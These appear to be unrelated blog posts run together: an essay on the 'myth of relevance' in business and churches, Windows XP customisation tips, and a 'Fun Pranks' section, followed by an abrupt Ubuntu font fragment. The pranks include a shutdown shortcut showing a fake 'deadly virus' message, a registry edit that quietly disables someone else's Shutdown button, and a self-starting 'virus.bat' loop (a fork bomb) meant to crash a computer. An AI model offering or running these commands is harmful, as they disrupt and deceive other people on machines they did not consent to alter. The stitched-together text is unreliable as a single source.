This and Nathaniel’s post on audience have got me thinking and somewhat re-working my approach. In fact, this is an attempt at a short to medium post that puts forth a thought for consideration. Now there is, of course, an appropriate way to strategize and target your audience. That’s what this post is about. But targeting your audience doesn’t mean broadening your appeal¹ so much as knowing your audience, like Nat said, and producing good content.

As should be apparent, this is really just a good business model — it applies to blogging almost informally. Companies like Apple, Inc. understand this.² Apple has a niche market and focuses on content that resonates within this group, to the extent that Jobs has what is termed a “cult following” [warning: link contains some language]. After all, Macs just work. Nevertheless, Apple is also a good example of a company that expanded its focus to great advantage (read: iPhone).

Conversely, Microsoft wants the whole market — go big or go home. Call it biting off more than you can chew, taking in too much territory, or whatever; but Microsoft tries to cover a broad range of user needs, hardware manufacturers and platforms, and comes up short on the quality front. Not content to focus on what it does best (using the term generously), Microsoft is constantly competing with Sony, Apple, Google, Gmail and Linux. And — whether it’s gaming consoles, hardware, media players, operating systems, communication services or search engines — you get a lineup of products doomed to eternal second place.

I could regale you with talk of BSODs, driver headaches and viruses, Windows ME and Vista, but the goal was merely to demonstrate what I mean by “the myth of relevance.” Just getting the most customers or the biggest audience is not an end unto itself. A streamlined, focused business model and quality control builds and retains a loyal consumer following. Spyderco is a good example. With only 30 employees and direct input from owner/founder Sal Glesser, there is a personal attention to quality and focus on customer relations that makes a Spyderco owner feel included, as it were. One wants the same sort of connection with a blog audience.

Finally, one more application: churches. There are, sadly, a lot of churches that would cut off their doctrinal arm to be “relevant.” They are the seeker-friendly, spiritual-milk, easy-believism variety. As Pastor Terry Tollefson is fond of saying, if the young people aren’t coming, break out the pizza, guitars, low lights and couches. Preach what people like to hear. Tickle ears. Unfortunately, they — just like the girl with mismatched shoes (one Converse and maybe a fur-trimmed boot is about right), striped leggings, outlandish hair and the “raccoon” style eyeliner — are pitching an indiscriminate appeal for attention. But attention is not an end to itself. You want the right kind of attention, the right kind of publicity. To quote Pastor Doug Wilson in a related vein, “Young Christian people should seek to become the kind of person that the kind of person they would want to marry would want to marry.”

Churches should want to attract people because of the strong preaching of law and condemnation in tension with grace and love, the unity, fellowship and accountability. The robust doctrine of Psalms and liturgy. The corporate-ness of Christ’s body. If someone is repelled by any of these things, that’s the way it should be — that’s the only hope for them. Diluting the truth until no one feels convicted is doing no one any favors. Taking the potency from worship and the doctrine from the songs is what, in other venues, would be called false advertising.

The church, properly functioning, shows people where they stand in relation to the body of Christ. When this is not done, people either discover spiritual meat at some point and have no taste for it, or settle into a warm, fuzzy, God-isn’t-about-guilt version of Christianity. (Just as long as I don’t have to do anything uncomfortable, like loving unlovable old people in nursing homes or confessing sins or letting grudges go.) On rare occasion, they realize they aren’t getting fed and look for a body to keep them accountable, words they can chew on — the Word himself.

So then, what I’ve called the “myth” of relevance is the notion that attracting attention, broadening appeal or increasing numbers is anything to aim for. At best, you will raise lukewarm interest in your lukewarm product. At worst, you will fill the Church with people who wouldn’t be there if they knew the way is narrow, and deter those who would only be there if they did. If I have spent time and digital ink on this last point, it’s because I’m serious. In any of these applications, there are some people to whom you don’t want to be relevant, and especially when it concerns the sanctification of Christ’s bride.

But, as always, that sanctification should flow out through all our endeavors, even our blogs. And yes, as a short to medium post, this is a fail. Oh well, semper reformanda and all that.

Change XP Start Menu Text

Follow these steps to change your start menu text from the default ‘start’ to whatsoever you may desire. First you’ll need to download and run Resource Hacker.

1. Within Resource Hacker, navigate to C:\Windows\explorer.exe and open it.

2. Expand the String Table folder and you should see a bunch of numbered folders.

3. Expand number 37 (or 38 for Windows Classic theme) and click on 1033 with the little gear next to it. In the right panel, replace the text ‘start’ with anything you want. I changed mine to ‘stop.’

4. Click on the ‘Compile Script’ button.

5. If you want to change the text that appears when you hover over the start button, expand folder 34 and change the default ‘Click here to begin’ to something like ‘Click here to get real!’ Compile changes.

6. You can also change the Windows icon on the start button to something else while you’re at it. First, collapse the String Table folder and expand Bitmaps at the top of the list.

7. Open 143 and click on 1033, where you’ll find the default Windows icon. To replace this you will need a 25×20 image with a .bmp extension.

8. Go to ‘Actions’ in the file menu and click on ‘Replace bitmap,’ then browse to your replacement file. Select it and hit ‘Replace.’

9. You are now ready to save your work. Go to ‘File’ and select ‘Save as’. Save it as something other than explorer.exe, such as hammertime.exe (mine) or explorerhack.exe.

10. Now to modify the Registry so your system uses the hacked file instead of the default explorer.exe. Open the Run dialogue (Win+R) and type ‘regedit’ without quotes. Hit Enter.

11. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, and in the right pane you should see the entry ‘Shell.’ Double click on this and replace the text ‘explorer.exe’ with the name of your hacked file.

12. Close the Registry Editor and log out. Log back in and you should be set! Enjoy.

Here’s my end result:

N.B. from TheElderGeek.com:

A number of users have written to say that when the text on the Start Button is changed, the Search function from the Start Button (right click) context menu ceases to function. That’s true, it does, and if I ever used that particular function I’d have been aware of the problem. I don’t use it, so I wasn’t aware, but now you’ve been warned. As far as I know there are no other caveats associated with the modification.

(Re)Enable Task Manager

If for some reason, virus or otherwise, your Task Manager has been disabled, open ‘regedit’ in the Run dialogue (Win+R). Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, and make sure it’s set to 0.

Lock Workstation Shortcut

Sometimes you don’t want to have to hit Ctrl+Alt+Del and click ‘Lock Computer’ in order to lock your workstation. Sure, you could use Win+L, but maybe those features are disabled on your *cough* school network. At any rate, here’s a cool way to make a shortcut on your desktop that does just that.

1. Right-click on your desktop, select New and Shortcut.

2. In the location field, type “rundll32.exe user32.dll,LockWorkStation” without quotes.

3. Name it whatever you want (Lock Workstation, for example) , and you can give it a cool lock icon from shell32.dll (see below).

shell32.dll

Speaking of which, shell32.dll may be copied between Windows versions (rename as shell32xp.dll or something to distinguish it), allowing you to use the XP icon resources for Vista, or some other combination. To use one of these icons for a shortcut, just right-click, go to Properties and Shortcut, then Change Icon. Click on Browse and navigate to C:\Windows\system32\shell32.dll, or shell32xp.dll for your new icons.

Fun Pranks

Change Icon to Shutdown

This simple prank changes an icon so it shuts down the computer. This can of course be useful, but is best for changing an icon someone usually uses to surprise them (lol). Right-click on the desktop, select New>Shortcut, and type C:\Windows\system32\shutdown.exe -s -t 60 -c “A deadly virus has taken control of your computer.” The 60 denotes seconds until shutdown, and can be replaced with a different value. The text in quotes is a message that accompanies the shutdown command, and it can also be replaced with something of your choice, like “kthxbai.” Alternatively, you can omit the -c parameter and text and set the -t value to 0 for a clean, instant shutdown. Very effective. Oh yeah, and if you should need to cancel the shutdown, hit Win+R and type “shutdown -a” without quotes.

Remove Shutdown from Start Menu

If someone uses the Shutdown option from the Start Menu to shut down their computer, you can throw them for a loop by removing it with a simple registry edit. Open the Registry editor and navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer and double click on the ‘NoClose’ entry in the right pane. If it’s not there, right-click and select New>DWORD Value, naming it NoClose. Set the value to 1 to disable the Shutdown button. It doesn’t actually remove it, but it won’t work – even more frustrating. To re-enable, change the value back to 0.

Print Screen Desktop Prank

The classic old standby.

1. Take a print screen (Prnt Scrn key) of the plain desktop and save it in an image editor such as MS Paint. Then set it as the desktop background.

2. Right-click on the desktop, select ‘Arrange icons by,’ and uncheck ‘Show desktop icons.’

3. Finally, right-click on the Taskbar and uncheck ‘Lock the Taskbar’ (if it’s checked). Click on the top edge and drag the Taskbar down as far as it will go. The desktop now looks normal, but is quite unusable.

Virus.bat

Simply type “start virus.bat” without quotes in a text file. Save it as virus.bat. Opening this will start an endless loop that will bog down and basically crash the computer. You can, however, try to kill the processes in Task Manager or log out to recover your system.

Open a terminal (Applications > Accessories > Terminal). Type this and press enter:

sudo apt-get install ttf-mscorefonts-installer

Wait for it to do it’s magic and you should be good to go. If you run into problems, I suggest starting at Google. Installing the MS core fonts seems to be an issue in this release, but then again maybe I don’t know because I’ve never had problems with it before.